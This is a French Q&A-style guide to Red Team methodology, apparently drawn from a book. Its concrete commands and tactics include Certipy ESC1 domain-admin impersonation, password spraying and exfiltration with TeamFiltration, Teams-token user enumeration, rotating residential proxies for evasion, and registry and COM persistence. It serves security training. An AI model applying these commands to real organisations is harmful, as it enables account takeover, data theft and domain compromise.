

Outils modernes de Red Team

Ce texte présente la **méthodologie des exercices Red Team**, qui consistent à simuler des cyberattaques sophistiquées pour évaluer la posture de sécurité des organisations matures. Il détaille les étapes initiales essentielles, incluant la **planification stratégique**, l'établissement de **règles d'engagement**, ainsi qu'une **réunion de lancement** pour cibler les objectifs du client. Une part importante est consacrée à la **phase de reconnaissance externe**, qui englobe l'analyse des numéros de système autonome, la transparence des certificats et l'utilisation de **proxys rotatifs** pour masquer le trafic. Enfin, l'ouvrage aborde l'exploitation des services de noms de domaine, l'analyse des configurations **Microsoft 365** et l'utilisation de **données divulguées** pour préparer des attaques d'accès initial comme la pulvérisation de mots de passe.

Quelles sont les grandes étapes d'une évaluation Red Team ?

Une évaluation Red Team s'articule autour de **sept grandes phases** méthodologiques successives :

1. Planification (*Planning*)

- **Évaluation de la maturité** : La mission n'apporte une réelle valeur que si l'organisation possède une posture de sécurité et une maturité suffisantes ; dans le cas contraire, des tests d'intrusion classiques sont préconisés au préalable.
- **Règles d'engagement (ROE)** : Elles définissent précisément le périmètre, les actions autorisées, les cibles exclues et les attentes, puis doivent être signées par les personnes habilitées.
- **Réunion de lancement et effectifs** : L'équipe Red Team doit compter au moins deux opérateurs. Côté client, la participation est restreinte à un ou deux points de contact de confiance (POC) pour éviter d'ébruiter la mission et de compromettre les scénarios.

- **Canal de communication** : Un canal sécurisé (tel que Signal) est mis en place avec les POC de confiance pour signaler tout blocage ou suivre les alertes éventuelles.

2. Reconnaissance

- **Cartographie de la surface d'attaque externe** : L'équipe identifie les blocs d'adresses IP via les numéros de systèmes autonomes (ASN), les domaines et sous-domaines via les registres de transparence de certificats (*Certificate Transparency*) et les requêtes DNS passives.
- **Collecte d'identifiants et d'informations** : Récupération des schémas d'adresses courriel, constitution de listes de noms d'utilisateurs probables, fouille des métadonnées de documents publics (fichiers PDF, bureautiques) et détection des technologies utilisées (profils LinkedIn, types de fédération M365 ou fuites de données antérieures).
- **Masquage du trafic** : Utilisation de proxys rotatifs (notamment résidentiels) pour éviter les limitations de débit (*throttling*) et préserver la discrétion.

3. Accès initial (*Initial Access*)

- **Vecteurs d'intrusion** : Exploitation des données de reconnaissance par plusieurs approches : pulvérisation de mots de passe (*password spraying*), ingénierie sociale (hameçonnage, prétextes téléphoniques), exploitation de failles sur des applications web ou accès physique.
- **Préparation des charges utiles (payloads)** : Configuration de l'infrastructure de commande et de contrôle (C2) et préparation de chargeurs (*loaders*) conçus pour contourner les solutions EDR (techniques de chargement latéral, suppression des *hooks*, obfuscation, contournement de *Mark of the Web*).

4. Persistance (*Persistence*)

- **Maintien de l'accès** : L'objectif est d'assurer une présence continue et de disposer de solutions de secours selon le principe « un seul équivaut à aucun, deux équivalent à un ».
- **Méthodes courantes** : Détournement de raccourcis .lnk, modification ou création de tâches planifiées existantes, manipulation des clés « Run » du Registre Windows ou détournement d'objets COM (*COM Hijacking*).

5. Déplacement latéral (*Lateral Movement*)

- **Conscience situationnelle** : Évaluation de la position de la machine au sein du réseau et cartographie de l'environnement Active Directory via des modules dédiés (BOF).
- **Collecte d'identifiants et élévation** : Récupération de tickets Kerberos en mémoire, génération d'invites d'authentification contextuelles ou ajout de comptes machines.
- **Attaques et relais** : Exploitation de faiblesses Active Directory telles que le *Kerberoasting*, les vulnérabilités de configuration dans Active Directory Certificate Services (ADCS, ex. ESC1) ou encore l'exploitation de la hiérarchie SCCM/MECM. L'ensemble des flux est de préférence acheminé via des proxys SOCKS pour l'OPSEC.

6. Post-exploitation

- **Atteinte des objectifs métier** : Cette phase est entièrement guidée par les objectifs fixés avec le client.
- **Impact ciblé** : Les opérateurs cherchent à atteindre les cibles critiques de l'organisation, comme la compromission de serveurs de sauvegarde, l'accès à des données confidentielles (PII), la manipulation d'applications métiers internes ou la prise de contrôle globale de l'infrastructure.

7. Rédaction du rapport (*Reporting*)

- **Consignation continue** : Les opérateurs consignent en temps réel les horodatages précis, l'ensemble des indicateurs de compromission (IOC) de l'infrastructure C2, les artefacts et hachages déposés, ainsi que la liste des comptes compromis.
- **Structure et restitution** : Le document présente un résumé analytique, la méthodologie, le détail chronologique des scénarios d'attaque et des recommandations portant sur les causes profondes.
- **Contrôle qualité** : Le livrable fait l'objet d'une double relecture (technique et qualité) avant d'être officiellement remis au client.

Explorer plus en détail les outils et tactiques spécifiques utilisés lors de l'une de ces étapes, comme la reconnaissance externe ou le déplacement latéral dans Active Directory

Voici une analyse détaillée des outils et tactiques spécifiques documentés pour **la reconnaissance externe et le déplacement latéral au sein d'Active Directory** :

1. Reconnaissance externe : cartographie et collecte

L'objectif de cette étape est d'identifier la surface d'attaque externe d'une organisation, de répertorier ses applications exposées (portails VPN, SSO, applications Web) et de compiler des listes d'utilisateurs.

A. Cartographie réseau et découverte d'infrastructure

- **Numéros de systèmes autonomes (ASN)** : L'analyse des ASN attribués par les registres régionaux (ARIN, APNIC, RIPE, AFRINIC) permet d'identifier les blocs d'adresses IP associés et de révéler des serveurs négligés ou oubliés au sein du parc. Des plateformes comme **arin.net** ou **DNSDumpster.com** sont employées pour cette recherche.
- **Transparence des certificats (Certificate Transparency)** : Les registres publics de certificats permettent de découvrir les domaines et sous-domaines émis au nom de l'organisation sans interagir directement avec elle. Le service **crt.sh** est couramment utilisé à cette fin.
- **Énumération DNS et sondage Web** :
 - **subfinder** (ProjectDiscovery) : outil d'énumération passive de sous-domaines exploitant de multiples sources en ligne.
 - **dnsx** (ProjectDiscovery) : boîte à outils permettant de résoudre et d'interroger rapidement les différents enregistrements DNS (A, AAAA, CNAME, SOA, etc.) issus des résultats de subfinder.
 - **httpx** (ProjectDiscovery) : sonde les cibles HTTP/HTTPS découvertes en s'appuyant sur des mécanismes de reprise (*retryablehttp*) et de repli exponentiel (*exponential backoff*) pour relever les codes de statut, les titres de pages et les en-têtes.

B. Masquage et rotation du trafic (OPSEC)

Pour mener des requêtes actives sans subir de blocage géographique ni de limitation de débit (*throttling*), les opérateurs masquent l'origine de leurs flux :

- **cloudproxy** : outil *open source* qui instancie automatiquement un groupe de proxys via des API de fournisseurs cloud.
- **Bright Data** : solution commerciale privilégiée pour son réseau d'adresses IP résidentielles, évitant ainsi le blocage systématique appliqué aux adresses IP issues de centres de données (*data centers*). La gestion s'effectue via l'utilitaire en ligne de commande **proxy-manager**.

C. Collecte de données d'identité et de technologies

- **Profilage M365 et SSO** : Le script Bash **o365-realminfo** interroge le *realm* auprès de Microsoft pour vérifier le champ `NamespaceType` :
 - *Managed* : le domaine est administré directement par Microsoft 365.
 - *Federated* : l'organisation s'appuie sur une infrastructure Active Directory locale (ADFS) ou une solution tierce (ex. Okta).
- **Extraction de métadonnées** : L'outil **PyMeta** (basé sur *PowerMeta*) automatise la recherche et le téléchargement de documents publics (PDF, DOCX, XLSX, PPTX, etc.) via Google et Bing afin d'en extraire les métadonnées (schémas de noms d'utilisateurs, versions de logiciels, noms de serveurs internes).
- **Constitution de listes d'utilisateurs** :
 - **Hunter.io** : sert à déterminer le modèle d'adresse courriel utilisé par la cible (ex. [{first}{last}@domaine.com](#)).
 - **NameSpi** : compile des listes d'utilisateurs à partir de sources comme Hunter.io, PhoneBook, USStaff ou LinkedIn (avec contournement de sécurité via l'argument `-lir`), puis génère des noms statistiquement probables pour les futures attaques.
- **Renseignements sur les technologies et fuites** :
 - **LinkedIn** : l'analyse des compétences mentionnées par les employés renseigne sur les solutions internes déployées (marques d'EDR, solutions MDM ou outils de fédération).
 - **haveibeenpwned.com** et **Flare** : identifient les adresses et identifiants de l'organisation ayant fuité sur le Web ou le *dark web* (y compris Telegram).

2. Déplacement latéral dans Active Directory

Une fois un point d'ancrage obtenu sur une machine intégrée au domaine, les opérateurs opèrent à l'échelle de l'Active Directory en privilégiant des flux relayés par proxy SOCKS (proxychains4) pour éviter de déposer des outils sur le disque ou d'exécuter du code lourd en mémoire.

A. Conscience situationnelle et collecte d'identifiants

- **CS-Situational-Awareness-BOF** (TrustedSec) : programme C compilé sous forme de *Beacon Object File* (BOF) qui s'exécute directement dans le processus de l'agent C2, appelant les API Win32 sans créer de nouveau processus pour cartographier le réseau et la base de registre.
- **Vol de tickets en cache (Klist BOF)** (Outflank) : extrait les tickets Kerberos résidant dans la mémoire de la machine compromise afin d'effectuer des demandes de tickets de service.
- **Interactions contextuelles (AskCreds BOF)** (Outflank) : exploite l'API Windows CredUIPromptForWindowsCredentialsName pour afficher une invite d'authentification système tout à fait légitime à l'utilisateur ciblé.
- **Ajout de compte machine (AddMachineAccount BOF)** (Outflank) : tire parti du paramètre par défaut ms-DS-MachineAccountQuota (fixé à 10) pour créer un compte machine contrôlé au sein du domaine, en lui donnant un nom semblable aux machines existantes.

B. Reconnaissance et cartographie du domaine

- **Vibe** (Tyl0us) : collecte les utilisateurs, groupes, ordinateurs, politiques de mot de passe et tables SPN via LDAP/LDAPS, puis permet d'interagir et d'analyser ces données hors ligne dans une base SQLite.

C. Exploitation de Kerberos (*Kerberoasting*)

- **Principe** : Tout compte d'utilisateur de domaine peut demander un ticket TGS pour un compte possédant un *Service Principal Name* (SPN). Le ticket étant chiffré avec le hachage du mot de passe du compte de service, ce dernier peut être extrait pour tenter une attaque par force brute hors ligne.

- **Règles OPSEC** : Ne jamais demander tous les tickets en bloc, limiter les requêtes à un ou deux tickets ciblés par jour et router les requêtes via un proxy C2 pour déjouer la détection.
- **Outils** :
 - **GetUserSPNs.py** (suite Impacket) : énumère les comptes porteurs de SPN et extrait individuellement les tickets de service chiffrés.
 - **Hashcat** : utilisé hors ligne sur la machine de l'opérateur pour casser les hachages obtenus.

D. Abus d'Active Directory Certificate Services (ADCS)

- **Vulnérabilité ESC1** : Survient lorsqu'un modèle de certificat remplit plusieurs critères : il autorise l'authentification client (*Client Authentication*), permet au demandeur de spécifier un nom alternatif de l'objet (*EnrolleeSuppliesSubject*), ne requiert aucune approbation d'un responsable (*Manager Approval: False*) et accorde des droits d'inscription aux simples utilisateurs du domaine.
- **Exploitation avec Certipy** (ly4k) :
 - Énumération des modèles vulnérables avec `certipy find -vulnerable`.
 - Demande d'un certificat avec un UPN usurpant un compte à haut privilège (ex. l'administrateur du domaine) via `certipy req -template ESC1 -upn administrator@domaine.local`.
 - Authentification via le certificat généré (`certipy auth -pfx administrator.pfx`) pour obtenir le TGT et le hachage NT du compte ciblé.

E. Exploitation de Microsoft Endpoint Configuration Manager (SCCM / MECM)

Gérant le déploiement et les mises à jour des postes et serveurs, l'infrastructure SCCM constitue une cible privilégiée répertoriée dans le dépôt **Misconfiguration-Manager** :

- **Support PXE** : Envoi d'une requête DHCPDISCOVER pour localiser le serveur PXE et récupérer les identifiants souvent intégrés aux images de démarrage réseau.
- **Compte d'accès réseau (NAA)** : Les identifiants NAA configurés sur le serveur de site SCCM sont stockés localement sur les postes clients sous chiffrement DPAPI. Un administrateur local

peut les extraire pour récupérer un compte souvent doté de privilèges étendus sur le domaine.

- **Prise de contrôle de hiérarchie** : Coercition d'authentification NTLM depuis des serveurs de site secondaire ou passif vers la base MSSQL du site (rôle db_owner) ou via SMB pour s'octroyer le rôle d'administrateur complet SCCM.
- **Outils spécialisés** : **SCCMHunter** et **SharpSCCM** automatisent ces différentes techniques d'abus et de découverte.

Comment fonctionne le password spraying ?

Le **password spraying** (ou pulvérisation de mots de passe) est une technique d'accès initial qui consiste à **tester un unique mot de passe courant sur un grand nombre d'utilisateurs simultanément**, plutôt que de tenter une multitude de mots de passe sur un seul compte. Cette approche permet de tester des mots de passe probables sans dépasser les seuils de verrouillage fixés par les politiques de sécurité.

Son fonctionnement et sa mise en œuvre en contexte de Red Team reposent sur plusieurs principes essentiels :

1. Principes opérationnels et règles OPSEC

Pour maximiser l'efficacité de l'attaque et éviter d'alerter les équipes de sécurité, l'opérateur doit suivre des règles strictes :

- **Validation préalable des utilisateurs** : Il est indispensable de confirmer la validité des comptes avant de pulvériser un mot de passe, afin d'éviter les requêtes inutiles.
- **Gestion du délai (lockout policy)** : Une règle empirique impose d'**attendre au moins deux heures entre chaque série d'essais** afin de prévenir tout verrouillage de compte (*account lockout*).
- **Rotation des adresses IP** : Chaque tentative doit être acheminée via un proxy. L'utilisation d'adresses IP résidentielles (via **Bright Data**) est préconisée pour effectuer une rotation d'adresse IP à chaque requête, ce qui évite les réponses erronées ou les blocages liés à une source unique.

2. Validation préalable des utilisateurs

Avant de lancer l'attaque, les opérateurs vérifient l'existence des cibles au moyen d'outils d'énumération passive :

- **KnockKnock** : Cet outil valide les comptes auprès des points de terminaison OneDrive et Microsoft Teams.
- **Détournement de l'API Teams** : En utilisant un jeton d'accès (*bearer token* / JWT) extrait du navigateur, l'outil interroge l'API externe `externalsearchv3` de Teams. L'analyse des codes de retour permet de distinguer l'état du compte :
 - **Code 200 avec réponse JSON** : l'utilisateur est valide et peut communiquer en dehors de l'organisation.
 - **Code 403** : l'utilisateur est valide, mais ses communications externes sont bloquées.
 - **Code 200 avec corps vide** : l'utilisateur est invalide.

3. Exécution de la pulvérisation

Une fois la liste d'utilisateurs validée, la campagne de pulvérisation est déclenchée sur les cibles retenues :

- **Génération de mots de passe ciblés** : Les listes de mots de passe testées s'appuient généralement sur les saisons, les mois de l'année ou des motifs courants.
- **TeamFiltration** : Cette boîte à outils (compatible Windows, Linux et macOS) permet d'automatiser l'énumération, le test des mots de passe et l'installation de portes dérobées sur des comptes M365. Dès qu'un accès valide est obtenu, son module `-exfil` permet d'exfiltrer immédiatement des courriels ou des fichiers OneDrive.
- **Exploitation des solutions MDM (Mobile Device Management)** : Des plateformes comme VMware AirWatch, Microsoft Intune, BlackBerry EUM, Ivanti MobileIron ou Citrix XenMobile sont fréquemment ciblées à l'aide de l'outil **dauthi**. Bien qu'intégrées à Active Directory, ces solutions n'appliquent pas toujours les seuils de verrouillage de compte AD et souffrent souvent d'un déficit de journalisation.

4. Vérification du MFA et contournement monofacteur

Lorsqu'un mot de passe valide est découvert, la présence d'une authentification multifacteur (MFA) peut bloquer la connexion. Les

opérateurs évaluent alors si certains services demeurent accessibles avec un facteur unique (*Single Factor Authentication*) :

- **MFASweep** : Cet outil teste les identifiants compromis sur divers services et API Microsoft afin de repérer les points d'entrée qui n'exigent pas de second facteur (ex. API Microsoft Graph, API Azure Service Management, Exchange Web Services, portail web M365, ActiveSync ou ADFS).
- *Mise en garde OPSEC* : Il est crucial de s'assurer de l'exactitude du mot de passe avant d'exécuter MFASweep, car ses tests successifs sur l'ensemble des modules provoquent une dizaine de tentatives d'authentification consécutives et risquent de verrouiller le compte.

Quels sont les outils de persistance ?

Dans la méthodologie présentée, la phase de persistance repose principalement sur des **commandes et mécanismes natifs du système Windows** plutôt que sur des logiciels tiers autonomes, complétés par des capacités de portes dérobées intégrées à certains outils.

L'approche repose sur le principe « **un seul équivaut à aucun, deux équivalent à un** », ce qui implique de déployer plusieurs agents C2 sur un même hôte pour disposer d'une solution de secours en cas d'arrêt d'un processus.

Voici les mécanismes, commandes et outils documentés pour maintenir l'accès :

1. Commandes et mécanismes système Windows

- **Commande schtasks (Tâches planifiées)** : Permet d'exécuter des commandes ou des programmes malveillants à intervalles réguliers, à condition de posséder des privilèges administrateur. Pour des raisons de discrétion (OPSEC), la méthodologie préconise de **modifier une tâche planifiée existante** pour la faire pointer vers la charge utile plutôt que d'en créer une nouvelle qui attirerait l'attention.
- **Détournement des clés « Run » du Registre et dossiers de démarrage** : L'ajout d'entrées malveillantes dans la configuration

de démarrage permet l'exécution récurrente de charges utiles. Les clés ciblées incluent :

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
- **Détournement d'objets COM (COM Hijacking)** : Exploitation du modèle de composants logiciels de Microsoft (*Component Object Model*) en modifiant des références à des objets COM spécifiques afin qu'ils déclenchent l'exécution du fichier malveillant.
- **Altération de raccourcis .lnk** : Modification de la cible d'un raccourci existant sur le bureau d'un utilisateur, sur un serveur ou dans un dossier partagé réseau accessible en écriture afin que l'utilisateur exécute la charge utile de façon récurrente.

2. Outil pour les environnements infonuagiques

- **TeamFiltration** : Dans le contexte des environnements Microsoft 365 (M365), cette boîte à outils intègre directement des fonctions pour **installer des portes dérobées** (*backdoors*) sur les comptes compromis, en plus d'énumérer et d'exfiltrer des données.

Comment utiliser CloudProxy ?

Dans vos sources, **CloudProxy** est présenté comme une solution alternative *open source* développée par claffin (<https://github.com/claffin/cloudproxy>) pour masquer l'origine du trafic et prévenir la limitation de débit (*throttling*) lors des phases de reconnaissance active et de collecte (*scraping*).

Sur le plan opérationnel, son principe d'utilisation documenté repose sur les éléments suivants :

- L'outil **génère un ensemble de serveurs mandataires (pool de proxies)** en s'appuyant sur un **jeton d'API**.

- Il **expose ensuite une API** qui met à disposition les adresses IP créées ainsi que les identifiants d'authentification requis pour acheminer le trafic.

Cependant, vos sources ne fournissent pas de commandes d'installation, de syntaxe en ligne de commande ni de guide de configuration pas à pas pour **CloudProxy**. Le document consacre plutôt ses instructions pratiques et ses exemples de configuration détaillée à la solution commerciale **Bright Data** et à son utilitaire *Proxy Manager*.

Comment configurer Bright Data ?

La configuration de **Bright Data** et de son outil de gestion **Proxy Manager** s'effectue en plusieurs étapes successives, allant des prérequis jusqu'au test final de rotation d'adresses IP :

1. Prérequis système et de compte

- **Type de réseau** : Choisir l'option d'**adresses IP résidentielles** (*Residential proxies*) dans son compte Bright Data, car elles offrent les meilleurs résultats pour contourner les blocages visant les centres de données.
- **Ressources matérielles** : Le serveur hébergeant le Proxy Manager doit disposer au minimum de **2 Go de mémoire vive (RAM)**, **1 processeur (CPU)** et **3 Go d'espace disque**.

2. Installation de Proxy Manager

L'outil en ligne de commande (CLI) proxy-manager s'installe à l'aide de la commande suivante :

```
curl -L https://brightdata.com/static/lpm/luminati-proxy-latest-setup.sh | bash
```

3. Installation du certificat SSL (Luminati)

Avant de lancer l'outil, si le trafic HTTPS/SSL doit transiter par le proxy, il est nécessaire d'installer le certificat racine :

1. Télécharger le certificat depuis

<https://raw.githubusercontent.com/luminati-io/luminati-proxy/master/bin/ca.crt>.

2. L'enregistrer sous le nom ca.crt dans le dossier /usr/local/share/ca-certificates/.
3. Mettre à jour le magasin de certificats système :
sudo update-ca-certificates

(Remarque : si vous lancez vos outils depuis une machine d'attaque distante distincte du serveur mandataire, ce certificat SSL doit également être installé sur votre machine opérateur.)

4. Accès à l'interface d'administration

1. Lancez l'utilitaire en ligne de commande :
proxy-manager
1. Ouvrez un navigateur et accédez à l'interface web d'administration à l'adresse <http://127.0.0.1:22999>.
2. **Astuce d'accès distant** : Si Proxy Manager est installé sur un serveur distant, créez un tunnel SSH depuis votre poste local :
ssh -L 22999:127.0.0.1:22999 user@host

5. Création et configuration du port de proxy

1. Dans le tableau de bord (*Dashboard*), cliquez sur le bouton **Start**.
2. **Section Network** : Laissez les options par défaut sélectionnées (réseau Bright Data et type de réseau *Residential*).
3. **Section Configuration** : Modifiez le préréglage pour choisir **Scraper** (*Code/Fetching single resources*). Ce profil assure automatiquement la rotation vers une nouvelle adresse IP à chaque requête individuelle ainsi que la rotation de l'en-tête *User-Agent*.
4. Cliquez sur **Create proxy port**.

6. Paramétrage des options générales (*General Settings*)

Sur le port nouvellement créé (port par défaut 24000), ajustez les réglages suivants avant de lancer les opérations :

- Ajoutez votre propre adresse IP dans la liste blanche (« **Whitelisted IPs** »).
- Définissez le champ « **Connection to Super Proxy** » sur **HTTPS**.

- Activez l'analyse SSL (« **SSL analyzing** »).

7. Test et validation du proxy

Assurez-vous que le port **24000** est bien ouvert sur le pare-feu de votre serveur distant. Testez ensuite le bon fonctionnement de la rotation d'adresses IP en interrogeant un service externe via curl :

```
curl --proxy BrightDataIP :24000 https://ipconfig.io
```

En renouvelant cette commande, des adresses IP distinctes doivent être retournées à chaque appel, confirmant que la rotation fonctionne.

Comment coupler ce proxy avec des outils de reconnaissance comme httpx ou subfinder pour inspecter des cibles de manière discrète

Pour inspecter des cibles de manière discrète sans risquer de blocage ou de limitation de débit (*throttling*), les outils d'énumération acheminent leurs requêtes à travers le port local ou distant du proxy Bright Data (par défaut le port 24000). Configuré avec le profil *Scraper*, ce proxy renouvelle automatiquement l'adresse IP et l'en-tête *User-Agent* à chaque requête envoyée.

Voici la méthode documentée pour configurer et exécuter **httpx** et **subfinder** avec ce proxy :

1. Couplage avec httpx (Sondage actif des applications Web)

L'outil **httpx** sonde activement les sous-domaines et adresses IP afin d'extraire les en-têtes HTTP, les codes d'état et les titres des pages Web.

Pour l'exécuter à travers le proxy tout en maintenant une discrétion maximale (OPSEC), utilisez la syntaxe suivante :

```
./httpx -list ../output.txt -http-proxy http://127.0.0.1:24000 -t 1 -o  
httpx_output2 -silent -title
```

Rôle des paramètres pour la discrétion et le proxy :

- **-http-proxy <http://127.0.0.1:24000>** : Achemine l'ensemble des requêtes HTTP/HTTPS à travers le port géré par Proxy Manager. Si vos tests sont lancés depuis une machine distante, remplacez 127.0.0.1 par l'adresse IP de votre serveur proxy.
- **-t 1 (Nombre de threads)** : Réduit la concurrence à **un seul thread**. Ce paramètre est crucial pour la discrétion : il évite d'inonder la cible de requêtes simultanées et prévient les alertes sur les systèmes de détection d'intrusion (WAF/IDS).
- **-list ../output.txt** : Spécifie le fichier d'entrée contenant la liste des domaines ou sous-domaines préalablement découverts.
- **-silent** : Masque les bannières et informations superflues pour n'afficher que les résultats pertinents.
- **-title** : Récupère le titre de la page Web pour identifier rapidement les technologies et portails internes ou externes.
- **-o httpx_output2** : Enregistre la sortie dans un fichier pour exploitation ultérieure.

2. Couplage avec subfinder (Énumération passive des sous-domaines)
subfinder est conçu pour découvrir passivement les sous-domaines en interrogeant des dizaines de services et dépôts en ligne (tels que *crt.sh* ou GitHub).

Pour router les requêtes d'interrogation de ces sources via votre proxy résidentiel, subfinder dispose du paramètre dédié **-proxy** :

```
subfinder -d target.com -proxy http://127.0.0.1:24000 -all -o output.txt
```

Rôle des options :

- **-proxy <http://127.0.0.1:24000>** : Spécifie le proxy HTTP à utiliser lors de la collecte passive de données auprès des fournisseurs externes.
- **-d target.com (ou -dL listofdomains.txt)** : Cible un domaine précis ou une liste de domaines racine.
- **-all** : Sollicite l'ensemble des sources passives disponibles pour maximiser la couverture.

- **-o output.txt** : Sauvegarde la liste brute des sous-domaines découverts.

3. Enchaînement typique du flux de reconnaissance

La méthodologie documente l'articulation de ces outils en pipeline logique :

1. **Énumération passive** : Découverte de la liste des sous-domaines avec subfinder (sauvegardée dans output.txt).
2. **Résolution DNS** : Utilisation de l'outil **dnsx** pour résoudre les enregistrements DNS associés aux sous-domaines collectés (dnsx -l output.txt -recon -o output_dnsx.txt).
3. **Inspection HTTP discrète** : Sonde des cibles vivantes et extraction des titres d'applications avec httpx via le proxy Bright Data et le paramètre -t 1.

Comment fonctionne NameSpi ?

NameSpi est un outil en ligne de commande développé par waffl3ss (<https://github.com/waffl3ss/NameSpi>) conçu pour compiler et générer des listes de noms d'utilisateurs dans le cadre d'exercices Red Team, notamment pour alimenter des campagnes de **pulvérisation de mots de passe (password spraying)** ou d'**hameçonnage (phishing)**.

Son fonctionnement s'articule autour de la collecte de données sur plusieurs plateformes publiques, de la transformation des identités selon les conventions de l'organisation et de mécanismes d'évasion.

1. Collecte et extraction multi-sources

NameSpi permet d'automatiser l'extraction d'identités et d'employés à partir de plusieurs services externes :

- **Hunter.io (-hio)** : Récupère les adresses courriel et s'intègre avec une clé d'API (-hapi) et un domaine cible (-hdom).
- **LinkedIn (-li)** : Parcourt le réseau professionnel à l'aide d'identifiants de compte (-user et -pass) et de l'identifiant de l'entreprise ciblée (-c ou -id).
- **Phonebook.cz (-pb)** : Récupère des noms en interrogeant un domaine spécifique (-pbdom) à l'aide d'une clé API IntelX (-iapi).

- **USStaff (-uss)** : Extrait des listes de noms associées à une entreprise précise (-uc).
2. Génération de noms statistiquement probables
 - **Modélisation (-sl)** : En s'appuyant sur le modèle de nom ou de courriel déterminé au préalable (souvent identifié à l'aide de Hunter.io, comme `{first}{last}@domaine.com`), NameSpi peut générer une liste de noms d'utilisateurs **statistiquement probables**.
 - *Remarque d'utilisation* : L'activation de cette option crée une liste très volumineuse, à manipuler avec discernement.
 3. Transformation des formats (*Mangle Mode*)
 - **Modification des noms (-m)** : L'outil intègre des fonctions de transformation (*mangling*) pour convertir automatiquement les listes de prénoms et noms extraits selon le schéma attendu par le système d'authentification cible. L'argument -mo permet de lister l'ensemble des modes de transformation disponibles.
 4. Contournement de sécurité et contrôle du trafic
 - **Contournement de sécurité LinkedIn (-lir)** : NameSpi propose l'argument -lir (*LinkedIn retry amount*), qui permet de définir le nombre de tentatives pour **contourner les restrictions et mécanismes de sécurité de LinkedIn**.
 - **Contrôle des requêtes** : Pour éviter d'attirer l'attention ou de subir des restrictions de débit, l'utilisateur peut paramétrer un délai d'attente entre chaque requête (-s SLEEP) ainsi qu'un délai d'expiration HTTP (-t TIMEOUT).
 - **Sortie des résultats** : Les résultats peuvent être imprimés à l'écran (-pn) ou consignés directement dans un fichier texte (-o OUTPUTFILE) pour servir d'intrants aux outils de validation et d'attaque.

Comment la liste générée par NameSpi est ensuite filtrée et validée à l'aide de KnockKnock avant de lancer les attaques

La validation préalable des identités est une étape essentielle avant de lancer une attaque par pulvérisation de mots de passe (*password spraying*), car elle permet de s'assurer que les cibles existent réellement et d'éviter les requêtes inutiles qui éveilleraient les soupçons.

L'enchaînement opérationnel entre la liste brute issue de **NameSpi** et sa validation par **KnockKnock** s'articule comme suit :

1. Préparation de la liste d'entrée

- **Exportation depuis NameSpi** : Les identités collectées (via Hunter.io, LinkedIn, Phonebook, etc.) ou générées statistiquement sont enregistrées dans un fichier texte brut à l'aide de l'option -o de NameSpi.
- **Injection dans KnockKnock** : Ce fichier d'utilisateurs (séparés par un saut de ligne) est transmis directement à l'outil KnockKnock via l'argument -i INPUTLIST.

2. Énumération passive via OneDrive ou Microsoft Teams

KnockKnock vérifie la validité des comptes sans tenter d'authentification intrusive auprès d'Active Directory, en interrogeant deux points de terminaison infonuagiques distincts :

- **Point de terminaison OneDrive** : Activé avec l'argument -onedrive.
- **Point de terminaison Microsoft Teams** : Activé avec l'argument -teams.

3. Fonctionnement et filtrage du module Teams

Le module Microsoft Teams détourne l'API externe officielle suivante :

<https://teams.microsoft.com/api/mt/emea/beta/users/@/externalsearchv3?includeTFUsers=true>

Cette API, normalement prévue pour permettre les échanges avec des contacts extérieurs à l'organisation, expose le statut des utilisateurs en analysant les réponses HTTP :

- **Code 200 avec contenu JSON** : Le compte est **valide** et autorisé à communiquer en dehors de l'organisation. La réponse JSON fournit des informations complémentaires (identifiant de tenant, displayName, userPrincipalName, type de compte fédéré, etc.).
- **Code 403** : Le compte est **valide**, mais la politique de l'entreprise bloque ses communications externes.
- **Code 200 avec réponse vide** : Le compte est **invalide** et n'existe pas dans le tenant. L'outil l'écarte automatiquement du résultat.

Prérequis du jeton d'accès (*Bearer Token*)

Pour envoyer des requêtes valides à cette API Teams, l'opérateur doit lui fournir un jeton d'autorisation :

- Ce jeton au format JSON Web Token (JWT) est extrait des témoins de connexion (*cookies*) d'un navigateur connecté à Teams, sous le nom `authtoken` rattaché au domaine `.teams.microsoft.com`.
- Le jeton est passé à KnockKnock soit sous forme de chaîne de caractères, soit dans un fichier texte via le paramètre `-t TEAMSTOKEN`.

4. Commande d'exécution et génération de la liste finale

La commande de filtrage s'exécute généralement de la manière suivante :

```
python3 KnockKnock.py -teams -i user.txt -d domaine.com -t token.txt -o utilisateurs_valides.txt -v
```

- **-i user.txt** : Spécifie la liste brute générée par NameSpi.
- **-d domaine.com** : Précise le domaine de l'organisation ciblée.
- **-t token.txt** : Fournit le jeton d'authentification Teams requis.
- **-o utilisateurs_valides.txt** : Consigne uniquement les comptes validés dans un fichier épuré.
- **-threads MAXTHREADS** : Permet d'ajuster le parallélisme des requêtes (défini par défaut à 10 threads).

Le fichier ainsi produit ne contient plus que des comptes réels et vérifiés, prêt à être exploité par un outil d'attaque tel que **TeamFiltration** pour la phase de pulvérisation.

Comment paramétrer TeamFiltration pour le password spraying ?

Dans les sources fournies, **TeamFiltration** (développé par Flangvik pour Linux, macOS et Windows) est présenté comme une boîte à outils tout-en-un ciblant les environnements Microsoft 365 (M365) pour énumérer des comptes, tester des mots de passe, exfiltrer des données et implanter des portes dérobées.

Le paramétrage d'une campagne de pulvérisation (*password spraying*) avec cet outil s'articule autour des éléments suivants :

1. Définition de la liste d'utilisateurs cibles

Pour configurer les comptes à attaquer, vous disposez de deux options :

- **Spécifier votre propre liste de noms d'utilisateurs** : Vous pouvez importer directement une liste d'utilisateurs préalablement épurée et validée (par exemple via KnockKnock).
- **Génération statistique interne** : Vous pouvez laisser TeamFiltration piocher des cibles potentielles au sein de sa propre base de données de noms d'utilisateurs statistiquement probables.

2. Paramétrage des mots de passe testés

- TeamFiltration intègre une fonction pour **générer une liste de mots de passe potentiels** en se basant sur les saisons, les mois de l'année ou des motifs courants.
- Comme le veut le principe du *password spraying*, l'outil teste un mot de passe à la fois sur l'ensemble de la liste des comptes ciblés.

3. Paramètres opérationnels et règles OPSEC

Lors de la configuration de l'attaque, deux contraintes majeures doivent être respectées :

- **Acheminement via un proxy rotatif** : Il est recommandé de configurer le trafic pour qu'il transite par un proxy (comme Bright Data) afin de faire varier l'adresse IP à chaque requête. Cela évite d'obtenir des réponses d'erreur dues à l'émission de toutes les requêtes depuis une source unique.
